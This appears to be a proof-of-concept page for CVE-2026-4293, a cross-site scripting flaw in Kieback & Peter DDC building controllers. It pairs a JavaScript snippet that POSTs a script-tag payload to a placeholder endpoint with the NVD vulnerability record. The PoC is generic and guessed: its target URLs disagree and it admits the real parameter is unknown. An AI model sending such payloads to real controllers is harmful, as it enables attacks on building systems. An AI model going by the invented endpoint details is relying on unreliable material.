CVE-2026-4293

// Proof of Concept for CVE-2026-4293 // This example demonstrates a potential XSS payload injection. // Scenario 1: Injecting via a vulnerable parameter in the controller's web interface // Target URL structure might be: http://target-controller/config?param=[payload] const payload = '<script>alert("CVE-2026-4293 XSS")</script>'; // Simulated request to the vulnerable endpoint fetch('http://target-device/vulnerable-endpoint', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: `setting=${encodeURIComponent(payload)}` }) .then(response => console.log('Payload sent, check browser for execution')) .catch(error => console.error('Error:', error)); // Note: Actual exploitation requires identifying the specific vulnerable parameter and endpoint.

{"cve": {"id": "CVE-2026-4293", "sourceIdentifier": "[email protected]", "published": "2026-05-20T16:16:26.003", "lastModified": "2026-05-20T17:30:40.450", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "The affected Kieback & Peter DDC building controllers are vulnerable to cross-site scripting, enabling JavaScript to be executed by the victim's browser, which allows the attacker to control the browser."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-139-05.json", "source": "[email protected]"}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-139-05", "source": "[email protected]"}]}}